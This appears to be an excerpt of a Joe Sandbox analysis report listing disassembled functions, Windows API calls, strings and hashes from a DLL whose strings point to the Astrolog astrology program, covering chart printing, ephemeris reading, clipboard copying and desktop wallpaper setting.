__fsopen.LIBCMT ref: 6C882507

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 36512578075bd69f4ea30ed46271b80e0331113f056c72aeefb46761c2cd983d
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: D5C09B7254110C77CF111A46DC05E563F199BC0664F444020FB1C199609677D97595D5

Non-executed Functions

Function 6C861BA1 Relevance: 88.1, APIs: 44, Strings: 6, Instructions: 566clipboardwindowregistryCOMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 6C861C0E
SetCursor.USER32(00000000), ref: 6C861C15
_memset.LIBCMT ref: 6C861C2B
BeginPaint.USER32(?,00000000,73EA4620,00000000), ref: 6C861C59
CreateCompatibleDC.GDI32(00000000), ref: 6C861C70
CreateCompatibleBitmap.GDI32(00000000,00000000,00000000), ref: 6C861C8C
SelectObject.GDI32(00000000), ref: 6C861C9F
BitBlt.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00CC0020), ref: 6C861CCF
SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C861D3F
SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C861D5C
SetBkMode.GDI32(00000001), ref: 6C861D6C
CreateFontA.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000006,00000000,00000001,00000001,Terminal), ref: 6C861E1F
SelectObject.GDI32(00000000), ref: 6C861E31
_sprintf.LIBCMT ref: 6C861F3E
SelectObject.GDI32(?), ref: 6C861FE7
DeleteObject.GDI32 ref: 6C861FEF
BitBlt.GDI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00CC0020), ref: 6C862034
SelectObject.GDI32(?), ref: 6C862046
DeleteObject.GDI32(?), ref: 6C86204E
DeleteDC.GDI32 ref: 6C862056
EndPaint.USER32(?), ref: 6C862069
SetCursor.USER32(?), ref: 6C86207D
PostMessageA.USER32(00000115,?,00000000), ref: 6C8620CF
_lopen.KERNEL32(astrolog.mdb,00000000), ref: 6C862188
_llseek.KERNEL32(00000000,00000000,00000002), ref: 6C8621A4
GlobalAlloc.KERNEL32(00000002,?), ref: 6C8621E3
GlobalLock.KERNEL32(00000000), ref: 6C8621FA
_llseek.KERNEL32(?,?,00000000), ref: 6C86220C
_hread.KERNEL32(?,00000000,?), ref: 6C86221A
_lclose.KERNEL32(?), ref: 6C862226
_sprintf.LIBCMT ref: 6C86224B
_sprintf.LIBCMT ref: 6C862261
GlobalUnlock.KERNEL32(?), ref: 6C862279
OpenClipboard.USER32 ref: 6C862281
EmptyClipboard.USER32 ref: 6C86228F
RegisterClipboardFormatA.USER32(HTML Format), ref: 6C8622B9
SetClipboardData.USER32(00000003,?), ref: 6C862368
CloseClipboard.USER32 ref: 6C86236E

Strings

%08d, xrefs: 6C862245, 6C86225B
HTML Format, xrefs: 6C8622B4
ast%05d.%s, xrefs: 6C861F38
astrolog.mdb, xrefs: 6C862183, 6C862374
bmp, xrefs: 6C861F20, 6C861F2E
Terminal, xrefs: 6C861E03

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Object$Clipboard$Select$CreateCursorDeleteGlobal_sprintf$CompatiblePaintWindow_llseek$AllocBeginBitmapCloseDataEmptyFontFormatLoadLockMessageModeOpenPostRegisterUnlock_hread_lclose_lopen_memset
String ID: %08d$HTML Format$Terminal$ast%05d.%s$astrolog.mdb$bmp
API String ID: 4081495465-459235359
Opcode ID: 9b26503659314f3405b5e5513f383220a933ba0abd226d4686d06cb5ad95168a
Instruction ID: ce01f3ab65fce94efc46a8a01e6414d72958eb5bb8f00fcd49891099faa0f6e5
Opcode Fuzzy Hash: 9b26503659314f3405b5e5513f383220a933ba0abd226d4686d06cb5ad95168a
Instruction Fuzzy Hash: B82277B1B05215DFEF308F66D985F6AB6B5E70B38DF10497BE62896A40D7349880CF90

Function 6C81387C Relevance: 40.7, APIs: 11, Strings: 12, Instructions: 442COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C813A79

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

_sprintf.LIBCMT ref: 6C813AB3
_sprintf.LIBCMT ref: 6C813B0F
_sprintf.LIBCMT ref: 6C813B6C
_sprintf.LIBCMT ref: 6C813BEE

Part of subcall function 6C8214FC: _fprintf.LIBCMT ref: 6C8215E2
Part of subcall function 6C8214FC: SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C8216FC
Part of subcall function 6C8214FC: SetBkMode.GDI32(00000001), ref: 6C82170A
Part of subcall function 6C8214FC: SelectObject.GDI32(?,00000000), ref: 6C82171C

Part of subcall function 6C821AD3: _sprintf.LIBCMT ref: 6C821B63

_sprintf.LIBCMT ref: 6C813CB6
_sprintf.LIBCMT ref: 6C813C4B

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Part of subcall function 6C8214FC: _fputc.LIBCMT ref: 6C82163A

_sprintf.LIBCMT ref: 6C813CF9
_sprintf.LIBCMT ref: 6C813DC6
_sprintf.LIBCMT ref: 6C813E66

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

_sprintf.LIBCMT ref: 6C813ED4

Strings

%-4.4s, xrefs: 6C813A73
%6.1f (%2d) /%5.1f%%, xrefs: 6C813CB0
Total RSHXY RSHXY%7.1f 100.0%%, xrefs: 6C813CF3
%4d%s %s, xrefs: 6C813C45
%s, xrefs: 6C813BE2
%d:%7d%7.1f (%d) /%5.1f%% %c%6.2f%7.1f (%d) /%5.1f%%, xrefs: 6C813E60
%2d, xrefs: 6C813AAD
Body Location Rulers House Rulers Power Rank Percent, xrefs: 6C813A32
%.3s , xrefs: 6C813B09
Y, xrefs: 6C8139C9
Tot:%5d%7.1f 100.0%% %c%6.2f%7.1f 100.0%%, xrefs: 6C813ECE
Ray Count Power Rank Perc. %c Slice Power Rank Perc., xrefs: 6C813DC0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDeviceModePageTextViewportWindow$ColorObjectSelectStart__flsbuf__output_l_fprintf_fputc
String ID: %s$%-4.4s$%.3s $%2d$%4d%s %s$%6.1f (%2d) /%5.1f%%$%d:%7d%7.1f (%d) /%5.1f%% %c%6.2f%7.1f (%d) /%5.1f%%$Body Location Rulers House Rulers Power Rank Percent$Ray Count Power Rank Perc. %c Slice Power Rank Perc.$Tot:%5d%7.1f 100.0%% %c%6.2f%7.1f 100.0%%$Total RSHXY RSHXY%7.1f 100.0%%$Y
API String ID: 3459736133-36895328
Opcode ID: fc1ef90522938afd5e75e77be87596274445d0cb4e3da0d323488ee10b0d577e
Instruction ID: 98ce842fc8aea120a596d2d5d15f139ecf0269eb9a18e5548b8208334375fb36
Opcode Fuzzy Hash: fc1ef90522938afd5e75e77be87596274445d0cb4e3da0d323488ee10b0d577e
Instruction Fuzzy Hash: 900224B1A0055D9BDB20DFA8DA45BED77B4EF45308F1108F9D04AA7A90DB359E98CF80

Function 6C815BBD Relevance: 30.1, APIs: 4, Strings: 13, Instructions: 311COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C815C32
_sprintf.LIBCMT ref: 6C815C6E
_sprintf.LIBCMT ref: 6C815E3A
_sprintf.LIBCMT ref: 6C815E97

Strings

(No time/space) , xrefs: 6C815D1D
Declin. , xrefs: 6C815DAA
%c , xrefs: 6C815E91
Body, xrefs: 6C815D3F
%-4.4s:, xrefs: 6C815E34
Location, xrefs: 6C815D6D
Latitude, xrefs: 6C815D9D
Decl. , xrefs: 6C815DBE
Latit., xrefs: 6C815DB1
Delta, xrefs: 6C815DF5
, xrefs: 6C815C83
%%-%d.%ds, xrefs: 6C815C2C
(No time or space) , xrefs: 6C815D16

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: $Body$ Location$ %%-%d.%ds$ Declin. $ Latitude$%-4.4s:$%c $(No time or space) $(No time/space) $Decl. $Delta$Latit.
API String ID: 1467051239-2179032015
Opcode ID: 1254f717ed2f4c7b182dff51d34beb83f3616c0b74c846767cec182315ba0933
Instruction ID: 442d576c4d234cacca81fa840a78a12df8da2410199305ef8703a7a35096458c
Opcode Fuzzy Hash: 1254f717ed2f4c7b182dff51d34beb83f3616c0b74c846767cec182315ba0933
Instruction Fuzzy Hash: F2B11B71A08605CFDB349F68D58AAAA73B1EB42308F610DB9D05647F90CF359D99CB81

Function 6C817BAA Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 420COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C817BDE
_memset.LIBCMT ref: 6C817BF3

Part of subcall function 6C80A937: _memset.LIBCMT ref: 6C80A95C

_sprintf.LIBCMT ref: 6C818098
_sprintf.LIBCMT ref: 6C8181B6
_sprintf.LIBCMT ref: 6C8181E5
_sprintf.LIBCMT ref: 6C818215

Strings

- power:%6.2f, xrefs: 6C81820F
Empty transit aspect list., xrefs: 6C818250
%02d", xrefs: 6C8181DF
- %s%2d%c%02d', xrefs: 6C8181B0
Z, xrefs: 6C817D8F
%3d: , xrefs: 6C818092

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_memset
String ID: - %s%2d%c%02d'$ - power:%6.2f$%02d"$%3d: $Empty transit aspect list.$Z
API String ID: 2003622500-2883694253
Opcode ID: e51b6c22dd3bee9a284473a191b3c62639e694ac7eea492228e30c0a8d1062cc
Instruction ID: 44c6f1daa3cc428248a49b007252d385e7b80712f66502a062da60211dfc0039
Opcode Fuzzy Hash: e51b6c22dd3bee9a284473a191b3c62639e694ac7eea492228e30c0a8d1062cc
Instruction Fuzzy Hash: 7D12CE75A0811D8FDB28DFA8E981AD8B7F5FF49304F5208E9D90997A90DB319E94CF40

Function 6C85DD8F Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 362COMMON

Download Yara Rule

Strings

Shift+, xrefs: 6C85DEF5
Alt+, xrefs: 6C85DF06
Ctrl+, xrefs: 6C85DEFC, 6C85DF18
%s%sF%d, xrefs: 6C85DF1C

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Create$CloseValue$_sprintf$FileModuleName
String ID: %s%sF%d$Alt+$Ctrl+$Shift+
API String ID: 2934808895-1571627948
Opcode ID: 9697288dce9c03a75eb25d57ea49926f63fcb375ba55c542fd5b3ecc28f854d2
Instruction ID: 35031a76f54dc15e4f17a87ef973e0e2e0b422e63dbbd25068b63e49d06fa5f1
Opcode Fuzzy Hash: 9697288dce9c03a75eb25d57ea49926f63fcb375ba55c542fd5b3ecc28f854d2
Instruction Fuzzy Hash: EEC1F4317542099BDB748F2ADF81BAA77F5EB46348F944D3BE416C7A80DBA4D850C780

Function 6C84BDD0 Relevance: 14.5, APIs: 6, Strings: 2, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 6C84D06F: _fseek.LIBCMT ref: 6C84D0BD
Part of subcall function 6C84D06F: __fread_nolock.LIBCMT ref: 6C84D0EA
Part of subcall function 6C84D06F: _sprintf.LIBCMT ref: 6C84D152

_fseek.LIBCMT ref: 6C84BEB4
_malloc.LIBCMT ref: 6C84BECC

Part of subcall function 6C8837D0: __FF_MSGBANNER.LIBCMT ref: 6C8837E9
Part of subcall function 6C8837D0: __NMSG_WRITE.LIBCMT ref: 6C8837F0
Part of subcall function 6C8837D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C887A8B,?,00000001,?,?,6C887F4A,00000018,6C8F2E78,0000000C,6C887FDA), ref: 6C883815

_memset.LIBCMT ref: 6C84BEE7
_sprintf.LIBCMT ref: 6C84C453
_sprintf.LIBCMT ref: 6C84C49F
_free.LIBCMT ref: 6C84C4AD

Strings

error in ephemeris file: %d coefficients instead of %d. , xrefs: 6C84C448
error in ephemeris file %s: %d coefficients instead of %d. , xrefs: 6C84C494

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_fseek$AllocateHeap__fread_nolock_free_malloc_memset
String ID: error in ephemeris file %s: %d coefficients instead of %d. $error in ephemeris file: %d coefficients instead of %d.
API String ID: 5245458-905328425
Opcode ID: 429e84f5e28ce8846358027976c10752011f139b639f69dc93bc3c605b7edbfd
Instruction ID: 0fb829755e42054cc8287fa828752b7dcd62f7bb254b76e117e5f2cddcde6cb4
Opcode Fuzzy Hash: 429e84f5e28ce8846358027976c10752011f139b639f69dc93bc3c605b7edbfd
Instruction Fuzzy Hash: D612D031D0061EDBDB348F19CE40BA9B7B6FB84314F118AEAD519B3A91EB315A94CF50

Function 6C878C7D Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(00000000,6C8F85EC,6C8F85F0,00000000,6C881BD0,6C91DAA0,6C91DA60,?,6C801356), ref: 6C878D16
WriteProfileStringA.KERNEL32(Desktop,TileWallpaper,6C8B3018), ref: 6C878D61
WriteProfileStringA.KERNEL32(Desktop,WallpaperStyle,6C8B30C8), ref: 6C878DA8
SystemParametersInfoA.USER32(00000014,00000000,00000003), ref: 6C878DB6

Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C8786C1
Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C8786C9
Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C87870C
Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C87874E
Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C878789
Part of subcall function 6C8786B7: _fputc.LIBCMT ref: 6C8787C4

Strings

WallpaperStyle, xrefs: 6C878DA2
TileWallpaper, xrefs: 6C878D56
Desktop, xrefs: 6C878D5B, 6C878D60, 6C878DA7

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fputc$ProfileStringWrite$InfoMutexParametersReleaseSystem
String ID: Desktop$TileWallpaper$WallpaperStyle
API String ID: 2760925735-2776484331
Opcode ID: a02cc34fd68990163366c585cde37e9dcad7d83f729a95048efdd294662e0caa
Instruction ID: 10da807f7fc28cb5404a980c7794dc4335c35384f0f27b1108ef4d53f4106065
Opcode Fuzzy Hash: a02cc34fd68990163366c585cde37e9dcad7d83f729a95048efdd294662e0caa
Instruction Fuzzy Hash: B3312720706005ABDF30662A9B04AAE2A35E79375DB950C37E820FBF40F720CC46C775

Function 6C89F83C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,6C89FEA5,?,6C88FB61,?,000000BC,?), ref: 6C89F87B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,6C89FEA5,?,6C88FB61,?,000000BC,?), ref: 6C89F8A4
GetACP.KERNEL32(?,?,6C89FEA5,?,6C88FB61,?,000000BC,?), ref: 6C89F8B8

Strings

OCP, xrefs: 6C89F85C
ACP, xrefs: 6C89F84B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 5bd328c463ae8cf9b6e6ac21d3350027504122d09df633a7df904013e806bab4
